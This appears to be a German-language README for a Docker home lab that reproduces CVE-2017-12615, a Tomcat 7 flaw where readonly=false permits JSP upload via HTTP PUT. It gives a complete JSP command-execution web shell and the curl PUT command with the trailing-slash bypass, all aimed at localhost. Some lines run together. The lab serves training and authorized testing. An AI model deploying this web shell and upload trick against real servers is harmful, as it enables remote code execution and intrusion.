
CVE-2017-12615 Tomcat: Remote-Code-Ausführung über JSP-Upload Heimlabor für Red Teaming, Penetrationstests
Dieses Labor simuliert die Schwachstelle CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
Sie entsteht durch die Einstellung readonly=false, die das Hochladen von Dateien über HTTP PUT ermöglicht, einschließlich .jsp-Dateien, die Befehle ausführen können (RCE).
readonly=false.jsp-Dateien im ROOT-Webverzeichnisflag_RANDOM.txt/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
Webseite öffnen:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/ am Ende des Dateinamens)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
Gespeichert in:
/tmp/flag_RANDOM.txt
Dieses Labor simuliert CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload, bei dem der DefaultServlet von Apache Tomcat falsch konfiguriert ist mit:
readonly=false
Dies ermöglicht Angreifern, .jsp-Dateien über HTTP PUT hochzuladen, was eine Remote-Code-Ausführung ermöglicht.

readonly=false.jsp-Dateien in das ROOT-Webverzeichnis schreibenflag_RANDOM.txt beim Containerstartcurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
Nur zu Bildungs-, Forschungs- und autorisierten Penetrationstests.